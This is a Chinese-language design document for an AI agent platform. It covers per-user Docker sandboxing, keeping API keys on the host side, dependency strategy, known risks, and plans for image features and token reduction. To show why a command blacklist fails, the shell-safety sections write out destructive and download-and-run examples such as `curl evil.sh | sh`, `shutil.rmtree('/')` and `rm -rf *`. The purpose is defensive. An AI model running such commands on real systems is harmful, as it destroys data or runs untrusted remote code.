   - **Host in-process backend**:`load_skill` / `web_search` / `web_fetch` / `seedream` / `seedance` / `document_*` / `mp_*` — 持 Bocha/ARK/document_search/MP API key 不能塞容器 env(SaaS 时 key 泄漏面增加);`load_skill` 是 SkillRegistry 内存查找,无 fs 访问越界可能。Step 4 egress proxy 之后再讨论这几个工具的容器化方案(media tool 调远端 API 走 proxy 比 key 入容器更直)。
   - Dispatcher(`DockerExecutor`)内部分流,使用方(`AgentLoop`)零感知。**接口形状按"未来若需全部进容器 + 内部 tool-runner unix socket RPC"留好**,升级触发信号见下表。
   - **代价**:每个 fs tool call 多 ~200ms docker exec overhead;对话级 N≤15 → 总 1-3s,LLM 推理时间 5-30s 下面噪声。镜像 build 多一步 `COPY tools/`,rebuild 增量 ~5s。

7. **Secret-bearing domain tools 不进 sandbox,不做 key 下发**(2026-06-01 补充):
   - 原则:凡是需要 `*_API_KEY` / OAuth token / DB credential 的能力,**不能**以 `run_python` helper 形态要求容器读 env,也不能做"credential broker 给 sandbox 发短期 key"。sandbox 内的任意代码可 `print(os.environ)` / monkeypatch SDK / exfiltrate 请求头;短期 token 只缩短有效期,不改变"不可信代码拿到 secret"这个根因。
   - 正确形态:把这类能力做成 **host-side JSON tool**。LLM 传非敏感业务参数 → host tool 从宿主 env / secret manager 取 key 调远端 API → 对返回做字段裁剪 / 大小限制 / 配额计量 / 审计 → 只把业务结果或写入 workspace 的文件路径返回给模型。容器最多读到落盘产物,永远读不到 key / Authorization header。
   - 现有命中问题:
     - `documents` skill 当前 `skills/documents/client.py` 要在 `run_python` 里读 `DOCUMENT_SEARCH_API_KEY`,所以 docker sandbox 下必然不可用;应改为 host tool `document_list_kb` / `document_search` / `document_download`,key 只在 host client 内使用,download 写入当前 task_dir 的 `documents/` 后返相对路径。
     - `pymatgen` skill 的离线计算(`Structure.from_file` / `XRDCalculator` / `SpacegroupAnalyzer`)继续在 sandbox 跑;Materials Project 联网查询不能让 `mp_rester()` 在 sandbox 读 `MP_API_KEY`,应拆成 host tool `mp_search_summary` / `mp_get_structure` / `mp_get_entries`。host tool 返回裁剪后的 summary 或把 CIF/JSON 写到 task_dir,后续离线 pymatgen 再读文件计算。
   - 注册规则:host tool 仅在对应 env 存在时注册;未配置时 schema 不暴露,skill 文档提示降级路径。这样模型不会看到一个永远失败的工具,也不会被诱导在 sandbox 中寻找 secret。
   - 审计与配额:这类 host tool 按 user/task 记录 `usage_events` 或专门 audit 表(请求类型、目标服务、返回条数、下载字节、耗时、错误码),纳入月度 cost / 网络下载量 / 单次结果大小限制。返回给 LLM 的正文必须默认截断,大文本落文件后由 `read` 按需读取。

**升级触发信号(写下来防遗忘,反向兜底:无信号不升级)**:

| 升级方向 | 触发信号 | 不升级的理由 |
|---|---|---|
| Docker → **gVisor** (`runsc`) | 开放陌生用户注册 / 容器逃逸 CVE 公开未及时打补丁窗口期 / 出现可疑 syscall 模式告警 | 现状 Docker + 完整 hardening 已挡住主流容器逃逸路径外的攻击,剩下 kernel 0day 在 dogfood + 信任用户阶段不是 #1 风险;gVisor syscall 重 -30~50% 是真代价 |
| gVisor → **Firecracker / e2b** | 合规客户(PCI / HIPAA) / 高密度多租户(单机 100+ user) / gVisor 兼容性墙撞死(某 C 扩展跑不起来) | Firecracker 内存账每 VM 100MB+ 起步,zcbot 量级不划算;e2b 让数据出去执行再回来,与 storage_root 自持模型冲突 |
| `docker exec` → **容器内 tool-runner**(unix socket RPC) | metric `docker_exec_overhead / total_tool_time > 30%` 持续两周 / "模型在容器内起长驻 web 服务并对外服务"工作流 / 单 task 一轮工具调用 >20 次 | 自管进程组清理 + 自管 cgroup 切片 + 协议自带状态污染面 + 失去 Docker 工具链观测(`docker stats` / `docker top` / `docker exec -it bash` 紧急介入)代价 >> 那 200ms × N 收益;**美学统一性 ≠ 升级理由** |

**Image 体积 / 多 user 资源 / 后续加包策略**(2026-05-28):

zcbot-sandbox image 已 ~1.5G(python deps + chromium + nodejs + mermaid-cli),后续 domain 包(rdkit / pymatgen / ASE / pandoc-tex 等)还会进一步推大。先把三件事认知分开,避免把 image 大小当万能背锅侠:

1. **Image 大 ≠ 运行时吃更多资源**。`deploy/sandbox/Dockerfile:120` 启动是 `tini → init.sh → sleep infinity`,空载 RSS 个位数 MB;image 里的 chromium / numpy / npm 不 exec 就只是磁盘字节,不进内存。layer 共享让 N 个 user 容器共用同一个 image,磁盘乘数 = 1。**真吃 RAM 的是 active exec**(chromium 渲 mermaid 瞬时 200-500MB,大数据集另算),跟 image 大小解耦,跟"模型让容器干啥"挂钩。
2. **多 user 同时在线的瓶颈在并发 exec,不在 idle 容器**。100 个 idle per-user 容器约几百 MB RSS,可接受;10 个 user 同时让模型渲 mermaid 瞬时 2-5 GB,这才是瓶颈。**杠杆全在运行时**:`docker run --memory --cpus --pids-limit` 单容器硬顶 + 同 user 并发 exec semaphore + 整机 active user cap(超额排队 / 429)+ idle 5 分钟回收(已规划)。**减 image 体积对这条曲线不产生影响**,不在 image 上花减肥功夫。
3. **新增依赖策略:base 收敛 + per-user 持久化 venv + 使用频次沉淀**:
   - **(a) 全塞 base**:重 (torch 1G+ / texlive 2G+) 或长尾 domain 包不该进,build 慢 / pull 慢 / 所有 user 拍磁盘陪绑;但中高频 + 多 skill 共用 + 轻量(MB 级)的继续放 base(当前 `requirements.txt` 大致就是这类)。
   - **(b) 运行时临时装**:适合单次实验;**容器 idle 回收即丢**,冷启又装,高频复用差。
   - **(c) 多 image 按场景分**:per-user 容器模型下 user 不知道自己要哪个,切 skill 还得换 image —— 心智不通,**不采用**。
   - **采用:(a) + 持久化 per-user venv**。每个 user 一个持久化 venv 落 `<storage_root>/users/<user_id>/.venv/`(随 user_root bind mount 进 `/workspace/.venv/`,容器 idle 回收不丢);模型用 `pip install --target=/workspace/.venv/site-packages` 装到持久化路径,exec 时 `PYTHONPATH=/workspace/.venv/site-packages` 注入。**沉淀机制**:加 audit 统计哪些包累计被 >N% user 装过 → 下次 image build 时合并进 `requirements.txt`,base 跟着真实使用模式收敛而非拍脑袋。
   - **为什么不把 venv 放 named volume / image cache**:跨 user 共享 venv 破坏跨 user 隔离(包 install 脚本是任意代码,一个 user 装的 setup.py 可读另一 user 的 venv);per-user 隔离 venv 与 §7.5 跨 user 隔离 / 同 user 内不隔离的边界一致。
   - **为什么不依赖 pip cache**:pip cache 只省网络 / 不省落盘,装到 `/tmp` 容器一回收照样丢;venv 持久化才解决"冷启不重装"。
   - **npm / chromium / pandoc 等系统级保持 base**,无机非金属材料场景下 per-user node_modules 没必要分。
   - **沉淀阈值起步 >30% user 装过 ≥ 3 次** 进 base;过低噪声多,过高沉淀慢,后续按观察调。

`Image 大 = 资源占用大` 是表象关联,真因子是 active exec 行为 + 单 user 容器并发限制;`继续往 base 加包 vs 临时装` 是伪二选一,**长尾私有 + 高频沉淀**是更合身的形状。落地排期对应 Step 6 Executor 实施(`PROGRESS.md` Stage C):cgroup limits / 并发 semaphore / idle 回收 / per-user venv mount 一并进 `DockerExecutor`;audit 沉淀机制可延后,有 dogfood 安装日志再开。

### 7.6 Core 代码改造(按依赖顺序)

> 哪步做完见 PROGRESS `## 状态`;此处只记改造项与依赖顺序。

| # | 项 |
|---|---|
| 1 | 事件流化 `loop.py` |
| 2 | Storage 落 PG(Session/TaskState 改 SQLAlchemy + alembic + docker-compose) |
| 3 | working_dir 字段语义(name 必填,派生 `users/<uid>/<name>/`,同 name 共享) |
| 4 | Files API(list/upload/download/delete/rename,user-rooted) |
| 5 | No-subtask 校验 |
| 6 | Executor + sandbox(`run_python`/`shell` → `Executor.run`;docker exec) |
| 7 | HTTP /v1 surface |
| 8 | ~~CLI 双模式~~ — 撤(§7.9) |
| 9 | ~~Web UI~~ → API-only,UI 由 platform 实现 — 撤(§7.9) |

代码量增量:**+1000~1500 行**(单一 PG 比双 adapter 省 500-800 行;UI 不计入)。

### 7.7 分阶段落地

> 阶段做没做完见 PROGRESS `## 状态`;此处记阶段范围 + 设计意图(估时 / 撤销 / 前置依赖)。

| 阶段 | 范围 | 设计意图 |
|---|---|---|
| A | 事件流化 | — |
| B | Storage 落 PG + working_dir 语义 + no-subtask | 一次性切换,无双轨(见下) |
| D | HTTP /v1 surface | — |
| D' 过渡 | 邮箱密码 + PLATFORM_KEY → JWT + user_id 隔离 + dev SPA | — |
| D' 真 OIDC | 替换 /v1/auth/login 内部为 ID token 校验 + CORS allowlist 收紧 | 1 天,发布前必做 |
| C | Executor + sandbox(`run_python`/`shell` → `Executor.run`;docker exec) | 3 天,**外部用户开放的 hard prereq**(详 §7.8 / §7.9 2026-05-21) |
| ~~E~~ | ~~CLI transport 双模式~~ | 撤(§7.9) |
| ~~G~~ | ~~Web UI 简洁版~~ | 撤(§7.9) |
| F | 上线打磨(限流 / 监控 / 告警 / HA) | 持续 |

**B 阶段一次性切换**:切到 PG 后本地与 SaaS 走相同代码路径,无回退、无双轨,dogfood 即生效。
**D 落在 G 前面**:原排期 D 在 G 后(以为 dogfood 用 UI 跑),转向"platform 端联调"后 API surface 反而成阻塞;G 的 Jinja2+HTMX 投入沉淀的 sink 协议 / broker / no-subtask / files 路径安全归一 / task_dir 相对存储仍被 D 复用。

### 7.8 已知风险

| 风险 | 缓解 |
|---|---|
| 过早抽象违背 §5 | B 阶段单一 PG 无 adapter;各阶段独立 dogfood 价值;CLI REPL 整套撤无双 transport 维护税 |
| `/v1` 冻死后演化慢 | minor 半年兼容,major 6 个月 deprecation |
| Rename 误中前缀 / 漏改子 task | cascade SQL 用 `old/%` + 单测覆盖 |
| Running task 被 rename / delete | 后端校验 + UI 禁按钮(详 §7.4) |
| 误删 folder | 二确认 + 输入 folder 名;真要再加 trash bin |
| DB-then-FS 中断留孤儿目录 | rename 顺序 DB UPDATE → FS rename(FS 失败回滚 DB);delete 后台 GC 周期扫"FS 有但 DB 无引用" |
| 同 folder 多 task 并发写同名 | known limitation,实践频率近 0(同 wd 多 task 是"项目对话历史轨迹",非并发);dev SPA chat 区顶 banner 软警告(`GET /v1/tasks?working_dir=&run_status=running,cancelling` 拉同 wd 活跃邻居),不挡发送;宪法文件已由 `<date>-<short_id>` 命名隔离(§7.9 2026-05-20);真高频出现再加 gate |
| 同 task 并发 POST messages 撞 `messages.idx` | `POST /messages` 单活 run gate:`SELECT … FOR UPDATE` 锁 task + `run_status in ('running','cancelling')` → 409;启动 lifespan reaper 把孤儿 `running`/`cancelling` 全标 error。未来 multi-worker 换 heartbeat / lease |
| Run 跑太久 / 用户想中断 | `POST /v1/tasks/{id}/cancel` 协作式;LLM 走 streaming,chunk 间 poll cancel → 延迟 ~ 单 chunk 间隔(100ms 级)|
| `shell` / `run_python` 在 SaaS 无沙箱即开放外部用户 = 主机沦陷 / 跨 user 读 working_dir / cloud metadata 凭据泄漏 / 内网扫描 | **Stage C(§7.5 per-user sandbox container + per-tool exec + drop caps + read-only rootfs + bind mount = own user root + default-deny network)是开放外部用户的 hard prereq**;现状 `tools/shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 的装饰品(双空格 / `bash -c` / `python -c` / `curl \| sh` / `cd /` 全能过),**不在它上面加规则**,黑名单 fundamentally broken;外部开放前仅 dogfood + 信任同事白名单手动加 |
| Sandbox 出站越权 | 容器默认 deny outbound;搜索 / 抓网页走宿主受控工具;依赖安装走受控 PyPI 镜像或 HTTP proxy,并显式阻断 cloud metadata / 内网地址 |
| 资源滥用 | 容器硬限制(CPU/mem/pids/timeout/并发 exec/上传大小) + user 软配额(磁盘、LLM cost、tool wall time、文件流量、网络下载量);idle 5 分钟回收 |

### 7.9 取舍说明

**path-as-identity 而非 folder_id**:folder 真实存在于 FS,folder_id 等于造两份 source of truth。rename 是 UI 主动动作,顶层目录走 DB-aware 同事务 cascade(§7.4)。

**`/v1/files/*` 作目录树唯一 mutation 入口,DB-FS 一致性服务端内化**(2026-05-18):此前提过双命名空间 `/v1/folders/rename` vs `/v1/files/rename`,内部 `if path is top-level` 分支被视为"代码异味"。实际反了 — 这个分支**从数据状态派生**(path 恰好是 working_dir),不是从客户端意图派生,放服务端是更安全的位置(client 没法绕过去导致悬空引用);双命名空间反而把同一个分支搬到 client 去做,失去强制力且端点表面翻倍。

**user auth 而非 tenant 层**:个人 SaaS 用不上。企业版加 `org_id` claim 等价。

**skill 产物全落 working_dir 不引入 artifacts 表**:中间件是用户花 token 生成的资产,可下载可替换;artifacts 表是为不确定 UX 收益预付架构成本。真嫌乱 UI 加折叠视图。

**hard cascade 而非 soft orphan**:`orphaned` 让 list / resume / UI 都多一种特殊 case,"删 folder = 删项目"比"留对话残骸"自然。

**0004 删 `runs` + `usage_events` 表**(2026-05-18):`runs` 表 tokens_p/c 写但从未读(真 tokens 走 tasks 累计),`started_at/finished_at/error` 也只写不读;`run_id` 单活 run 形态下对客户端 / broker / cancel 全冗余。合并 `run_status` + `run_error` 两列入 `tasks`。`usage_events` 从未真写,纯死代码,真要计费再加。**代价**:失"历史 run 元数据"(每次 LLM 调用的独立时间戳 / token 切片) — messages 表已记下产物,token 累计在 tasks,真要细粒度审计再补回 `usage_events`(届时是新需求,不是技术债)。

**本地也用 PG,不用 SQLite / JSON**:① dogfood ≡ 真实用户路径,bug 在 dogfood 就能复现;② Docker 已是必然依赖(§7.5),`docker compose up postgres` 零增量门槛;③ 双 adapter 维护税远高于 PG 一次性配置成本;④ 本地 dev 也能连远端测试服。

**API-only,UI 由 platform 实现**(2026-05-15):用户决定与已有 platform 联调,前端用 platform 框架,本仓库再维护 HTML/CSS/HTMX 就是双套 UI 浪费。删 `web/templates/*` + Jinja2/markdown-it-py/pygments 依赖,SSE event payload 从 HTML 片段切 JSON,路由统一 `/v1` 前缀。沉淀:sink 协议 / RunBroker fan-out / no-subtask / files 路径安全归一 / task_dir 相对存储全部保留,不被 UI 层牵连。

**dev SPA 留一份 + 升级为本地 dogfood 主路径**(2026-05-15,05-18 强化):`web/static/dev.html` 单文件 vanilla JS,3 栏布局(task list + chat + files),无构建链。与"UI 由 platform 实现"不冲突 — platform UI 是给真用户的生产形态;dev.html 是给开发者 dogfood + 自验 /v1 API + SSE 流的开发期工具(SSE 调试在 curl 里看不到 UI 反应,Swagger 不发 SSE 流也没流式视图,删了再补不如留着)。登录页两 tab(邮箱密码 默认 / UUID+PLATFORM_KEY 备用,last-used 持久化)→ JWT → localStorage → fetch+Bearer。

**CLI REPL 撤,入口统一 `main.py {web,db,probe,user}`**(2026-05-18):原计划 `cli.py chat` REPL 本地直跑 + `--remote https://...` 走 HTTP,两套覆盖"本地调内部状态"+ "dogfood ≡ 真用户路径"。dev SPA 落地后浏览器一直开着,REPL 命令与 web `/v1` 接口完全等价;维护双套 task 切换语义只是"对称美",每个 REPL 命令的 bug fix 要在 web 端再 fix 一次。`--remote` 从未实现也再不需要(platform 联调 + dev SPA + curl Swagger 已覆盖)。**失**:CLI "无 auth 直跑调 core 内部状态"通道 — 但 dev SPA 邮箱密码登录走同一条 web 路径,看内部状态可临时写几行 ad-hoc script,不需要常驻 CLI 命令。

**Memory 不入 DB**:跨 task 共享靠"同一 user 同一 FS 目录"自动达成。md 用户直接编辑器改,DB 化反而要造 UI、违反 §3.7"事实由用户判断"。

**Tasks/Messages 在 PG 但 skill 产物在 FS**:tasks / messages 需要查询、过滤、全文搜、跨 task 统计 — DB 强项;skill 产物(`*.pptx` / `*.docx` / `sections/*.md`)终用户拿走,期望文件管理器看到、Office 打开、邮件发出 — 进 DB 要做"导出"多余操作。**FS 是产物天然存储,DB 是元数据 / 状态 / 索引天然存储**。同理 §7.5 bind mount = user root,容器里 ≡ 用户在 Web UI 看到的目录,无中间层翻译;per-user 容器天然匹配这个边界,per-task 容器会把同 user 共享工作区人为切碎。

**同 wd 多 task 并发不做 gate / clone / 物理隔离,只做软警告**(2026-05-21):候选方案过 γ(同 wd 单活 run gate)/ short_id 全产物隔离 / clone task 三种 — 最终都判定过度工程。dogfood 经验:同 wd 多 task 主要是"项目对话历史轨迹",并发频率近 0(用户开新 task 多数是想换思路重启,但不与旧 task 同时跑)。**走 Claude Code 同款"信任 + 软警告 + 承认 limitation"**(它官方文档把"多 session 同 cwd plan 文件互覆"也定为 known limitation,推荐 git worktree 但不强制),不在主路径加复杂度。dev SPA 在 selectTask + SSE 收尾两个触发点拉 `GET /v1/tasks?working_dir=&run_status=running,cancelling`,有命中挂 banner;真高频再升级 γ。**为什么不选 γ**:同 wd 单活硬挡破坏"扁平共享中间产物"对应的对话切换流畅性,且 cancelling 状态可能阻塞用户 retry 时一个错觉的"我没在跑啊";**为什么不选 short_id 全产物**:破坏 §7.1 同 wd 共享中间产物语义(扁平 figures/sections/ 跨 task 复用)+ SKILL.md 改造成本;**为什么不选 clone task**:解决的是"真要并行"罕见场景,工程量(cp -r + 新 task 流程 + UI 入口)对零频场景过重。

**`shell` / `run_python` 不在工具层加强黑名单,SaaS 上线前 §7.5 sandbox 是 hard prereq**(2026-05-21,05-25 更新):`tools/shell.py::BLOCKED_PATTERNS` 只挡 `rm -rf /` / `mkfs` / `dd` / fork bomb 几个明显失误,任何稍有意识的攻击者都绕得过 —— 双空格 / `bash -c` / `python -c "import shutil; shutil.rmtree('/')"` / `curl evil.sh \| sh` / `cd / && rm -rf *` / 间接 `bash script.sh` 全过。`cwd=base_dir` 只是起点不是 chroot,绝对路径 / `cd` 跑出去毫无阻力。**为什么不在它上面继续加规则**:命令注入的攻击面是图灵完备的(`shell=True` + 任何脚本语言可执行),黑名单不可能枚举完,做得越复杂越给人虚假安全感,且会误伤合法用法(`ls *.py | wc -l` / 重定向 / 子 shell)。**正确防线在 OS 层而非工具层**:§7.5 per-user sandbox container + per-tool exec + drop ALL caps + read-only rootfs + bind mount = own user root + default-deny network + cgroup limits,这是 SaaS 开放外部用户的 hard prereq,Stage C 完成前一律仅 dogfood + 信任同事白名单手动加,DESIGN §7.7 / §7.8 已标 blocking。**为什么 per-user 而非 per-task**:用户文件模型就是 user-rooted,同 user 多 task 共享素材 / memory / working_dir 是产品价值;安全目标是跨 user 隔离,不是同 user task 互隔。**为什么不是所有操作都进容器**:auth / DB / files API / SSE / LLM / 受控 web 工具属于 control plane,必须留在宿主后端做权限和审计;只有不可信代码执行进 execution plane。**为什么不选"shell=False + 拒管道 / 重定向 / `$()`"折中**:挡不住 `python -c` / `bash script.sh` 间接路径(任何脚本语言都可执行任意系统调用),且砍掉大量合法 shell 用法让 agent 体验崩,给人虚假安全感。**本地 dogfood 现状接受风险**:用户自己的机器 + 自己输的 prompt,blast radius 限自身,§5 "less scaffolding more trust" 适用;外部用户场景 blast radius 是 SaaS 主机 + 其他 user 数据 + cloud IAM,信任模型完全不同,必须 §7.5。

**task 级「宪法」文件靠文件名隔离,不 cascade / 不入 DB / 不开物理子目录**(2026-05-20):同 working_dir 多 task **共享中间产物**(`source/` / `sections/` / `figures/`)是真实价值(素材跨多本子复用),但 spec 这种 task 1:1 宪法文件必须隔离(两本子 spec 直接撞)。文件名 `<YYYY-MM-DD>-<task_short_id>-<task_name>.<base>.md`:`task_short_id`(`task_id.hex[:8]`,永不变)主锚,glob `*-<short_id>-*.<base>.md` 字典序最大 = current 版本;`<YYYY-MM-DD>` 让"重定调"写新文件而非 edit 覆盖,旧版自然成历史快照;`<task_name>` 仅作"建时元数据 / 人类可读说明",改 name 不 cascade(由 short_id 兜底定位)。**反方案不选**:① cascade rename — in-flight run 期间文件丢 + 复杂度上升;② DB 化(spec 入 PG)— 架构最干净但工作量 5-10×,且失"用户直接编辑 markdown"能力,且 spec 字段还在演化没必要这么早 schema 化;③ 物理 task 子目录(`<working_dir>/<task>/`)— 破坏 §7.4 中间产物扁平共享设计。**升级到 DB 化的信号**:dev SPA 想做结构化编辑视图 / 想跨 task 查询 spec 字段(基金类型 / 经费 / 考核指标)/ markdown 版本文件堆积乱。约定由 `core/agent_builder.py::_build_system_prompt` 单点注入(`task_id` / `today` 实际值嵌入),所有 skill SKILL.md 引用同一份(目前 proposal / ppt 的 `spec`,未来 `outline` 等同款)。

---

## 8. 未来步骤(草案,status=design)

### 8.1 图像理解 + Seedream i2i(2026-05-29)

**缺口**:DeepSeek V4 主模型纯文本无视觉;`tools/seedream.py` 只 t2i;用户场景"seedream 出图 → 基于该图二次修改" / "上传外部参考图让 agent 据此干活"两条路径都未覆盖。

**选 E + C 组合**:`tools/seedream.py` 加 `reference_images` 参数走 seedream 5.0 i2i + 新增 `tools/look_at_image.py` 走豆包 Seed 1.6 vision 单图理解。

**为什么不选 A(主模型换多模态)**:DeepSeek V4 的 code / tool calling 质量是 zcbot 主路径核心,换豆包 Seed 1.6 当主 chat 模型降 code 能力 + 拉低 tool calling 稳定性,且要改 `core/loop.py` 引入 multimodal content list 路径 + `core/memory.py` vision-aware 压缩 — 工程面 5× 且破坏现有架构。

**为什么不选 B(后台 vision 路由)**:用户每条消息隐式调一次 vision 描述 → 多烧 token + 多 1 跳延迟;DeepSeek 失去"自决何时看图"的 agentic 控制权;hidden prompt 影响描述质量,debug 难。

**为什么 E + C 协作**:E 覆盖"改已生成图"(seedream 端到端无损像素级);C 覆盖"理解外部图"(DeepSeek 自决何时调,按需烧 token)。改动面集中在 **2 个 tool + 1 个 prompt 段 + 1 个 yaml 段**,**不动 loop / llm / capabilities / DB schema / 前端**。

**关键实测(2026-05-29 `scripts/probe_seedream_i2i.py`)**:Seedream 5.0 (`doubao-seedream-5-0-260128`) `/images/generations` 接受 `image_urls=["data:image/png;base64,..."]`,200 返回新图 TOS URL + `usage.generated_images=1`。约束:输出 `size` ≥3686400 像素(~1920²),单张参考 ≤10MB,最多 14 张。**base64 通路成立 → 内网部署无需对象存储中介,排除最大工程不确定性**。

**实施清单(待启动)**:
1. `config/media/doubao.yaml` 加 `vision: seed_1_6:` 段(model_id + endpoint + 视觉 token 单价);顺手核对 seedream image 单价 0.22 vs 实测 ~0.25 CNY
2. `tools/seedream.py` 加 `reference_images: array[str]` + `seed: int` 参数;路径校验在 workdir 内 + ≤10MB + 扩展名白名单(png/jpg/webp);meta.json 多记 reference_images
3. `tools/look_at_image.py` 新建:走 `ark_client` POST `/chat/completions` OpenAI 多模态格式(`{"type":"image_url","image_url":{"url":"data:..."}}`);`record_chat_usage(model_profile="doubao.seed_1_6_vision")`,不入 `images_per_day` 配额
4. `prompts/system/general_v1.md` 加图像协作引导段(改图 → seedream i2i;问图/读图 → look_at_image)
5. 端到端 smoke:`scripts/smoke_seedream_i2i.py` + `scripts/smoke_look_at_image.py`
6. (可选)前端 `dev.html` seedream 产物 chip 加"基于此图改"按钮(把路径塞下一条 textarea hint)

**已知风险**:
- 多张参考图(2-14)的角色定义(主体 vs 风格 vs 局部)靠 prompt 经验,**v1 只支持单张**;multi-ref 留 v2
- 豆包 Seed 1.6 vision tokens 单价(in / out 分档)待 ARK 控制台查
- DeepSeek 主动调 `look_at_image` 的可靠性需前几轮真用例里观察,不靠就在 prompt 加一句更明确引导;不过度工程
- ARK 文档强调 image_urls 官方推荐 URL,base64 实测可行但**未承诺长期稳定**;若未来 ARK 收紧,降级方案 = 火山 TOS 上传 5 分钟 → URL(引入 TOS SDK)

**升级到 A(主模型多模态)的信号**:用户明确要求"我说话同时贴图,模型直接读图回话",或多模态对话历史(多轮带图)成为高频需求 — 当前 E + C 假设是"图像是工具调用对象"而非"对话上下文";真高频需要"图也是消息内容"时再升 A。

### 8.2 Token 使用优化与上下文治理(2026-06-04)

**现状诊断**:最近 7 天 chat 输入 token 约 1.225 亿、输出约 87 万,输入/输出约 140:1;最大单次 chat 输入超过 53 万 token。根因不是回答过长,而是 `Session.load()` 把全量历史消息装回 `self.session.messages`,每轮 LLM 调用继续携带旧 assistant/tool 结果、`load_skill` 完整正文、文献检索结果和长 stdout/stderr。当前 `cost_cny=0` 还说明 LiteLLM cost map 未覆盖 DeepSeek V4,费用统计不可用于判断真实消耗。

**质量边界**:
- 不改变模型输入的优化(prompt/context caching、固定 prompt 前缀、费用统计修复、cache hit/miss 记录)不影响输出质量。
- 会改变模型可见上下文的优化(工具结果裁剪、旧历史摘要、RAG/按需读取)必须保留"可追溯原文":长结果写文件或保留路径,summary 只替代陈旧噪声,用户确认过的需求 / 规格 / 大纲 / 关键结论不删。
- 禁止简单"只保留最近 N 条"作为主策略;它省 token 但最容易丢已确认约束。

**选型**:采用 Context Editing + Memory/File State + Cache Observability 的混合方案。对齐 2025-2026 主流实践:稳定 system/tools 前缀利于 provider prompt cache;旧 tool result 从上下文中移除或压缩;关键发现写入 task summary / 文件系统,需要时由 `read` / domain tool 重新拉取原文。长上下文仍保留作少数全局推理场景的临时能力,不作为默认每轮成本。

**Stage 1:可观测性与计费修复(低风险,不改输出)**:
1. `core/loop.py::_extract_usage` 扩展返回 cache hit/miss / reasoning tokens 等 provider usage 细节;DeepSeek 的 `prompt_cache_hit_tokens` / `prompt_cache_miss_tokens` 归入 `usage_events.units`。
2. `core/storage/usage.py::record_chat_usage` 在 LiteLLM `completion_cost` 返回 0 时,按本地模型价格配置兜底计算 `cost_cny`;历史仍以 `units` snapshot 可复算。
3. SSE `llm_end` 带 `cache_hit_tokens` / `cache_miss_tokens`;dev SPA 在底部 hint 展示"本次输入 / 输出 / 缓存命中 / 未命中"。

**Stage 2:工具结果降噪(低风险,小幅改变上下文)**:
1. `run_python` 新增 `script_path` 模式。非短小一次性代码先用 `write` 落 `.py` 文件,再 `run_python(script_path="...")`;这样 tool_call arguments 只保留路径,源码留在文件系统按需读取。保留 `code` 兼容短 snippet。
2. `run_python` / `shell` 返回体默认保留 stdout/stderr 的头尾摘要,避免长日志反复进入后续 prompt;暂不写 `.tool_logs`,避免 host backend 污染 repo 根。
3. `document_search` 暂不调整默认召回量(保留 6×1200 chars),优先通过上下文预算 / 历史压缩控制长期成本;需要全文时先 `document_download` 或再次指定更大 `content_chars_per_doc`。
4. `load_skill` 的完整正文只在当前轮用于理解;入库 / 后续上下文可压缩成"已加载 skill: name, path, digest",减少每轮重复携带 5-10KB skill 文档。

**Stage 3:上下文预算与自动压缩(中风险,需测试)**:
1. 新增 `core/context.py` 负责构造 LLM messages,输入为 `Session.messages` + budget,输出为裁剪后的 messages。
2. 第一步只做**旧 tool / tool_call 参数压缩**:保留 system、最近约 12 条原文,对较旧且过长的 `role=tool` 内容做头尾摘要;旧 `load_skill` 结果压成"已加载 skill: name/dir"标记;旧 assistant `tool_calls[].function.arguments` 超过约 800 chars 时压成合法 JSON 标记(保留 path/script_path/name/original_chars),避免 `write(content=...)` 源码参数反复进 prompt。`role` / `tool_call_id` / `name` 不变,保证 OpenAI/LiteLLM tool_call 协议完整。这个阶段不调用额外 LLM,不生成全局摘要。
3. 第二步再做 task summary:保留 system、最近 6-10 轮原文、未闭合 tool_call 协议相关消息、最新用户消息;旧消息压成一条 summary。
4. summary 必须区分:用户确认的硬约束、当前计划、已生成文件路径、关键事实、待办/风险、可丢弃日志。旧 tool 原文不直接塞回,只保留路径和摘要。
5. 阈值建议先按字符粗估触发(如 200k chars),后续接 tokenizer 精确预算;触发后目标压到 reliable_context 的 25%-40%,避免刚压完又涨满。

**验收指标**:
- 高用量 task 的单次 `tokens_in` 从 50 万级降到 5-10 万级以内,常规任务低于 3 万。
- `usage_events.units` 能区分 input/output/cache hit/cache miss,`cost_cny` 不再全 0。
- `llm_start` SSE 事件能看到 `context_original_chars` / `context_sent_chars` / `context_saved_chars` / `context_compacted_tool_messages` / `context_compacted_skill_messages`,dev SPA 底部 hint 同步展示,用于判断压缩是否真实生效。
- task 列表里的 `N 条 / N tok` 是 DB 持久化累计消息数和历史调用总 token,用于账单 / 审计;它不会因"发送前上下文压缩"下降。真实本轮发送体量看 `llm_start context_*` 和 `llm_end prompt_tokens/cache_*`。
- 文献采集 / 论文写作 / PPT 三类长任务仍能复查原文路径,不会因摘要丢失用户确认过的规格。
- 增加 focused tests 覆盖 usage detail 提取、成本兜底、工具结果裁剪、上下文压缩协议完整性。

---

## 附录:DeepSeek V4 关键事实(2026-04-24)

- **V4-Pro**:1.6T / 49B 激活,1M context,SWE-Bench 80.6 / Terminal-Bench 67.9 / MCPAtlas 73.6
- **V4-Flash**:284B / 13B 激活,1M context
- 推理模式:non-thinking / thinking / thinking-max
- 价格:in ~$0.145/M,out ~$1.74/M(约 Claude Opus 1/6 ~ 1/7)
- `deepseek-chat` / `deepseek-reasoner` 2026-07-24 下线 → 必须迁 `deepseek-v4-flash` / `deepseek-v4-pro`
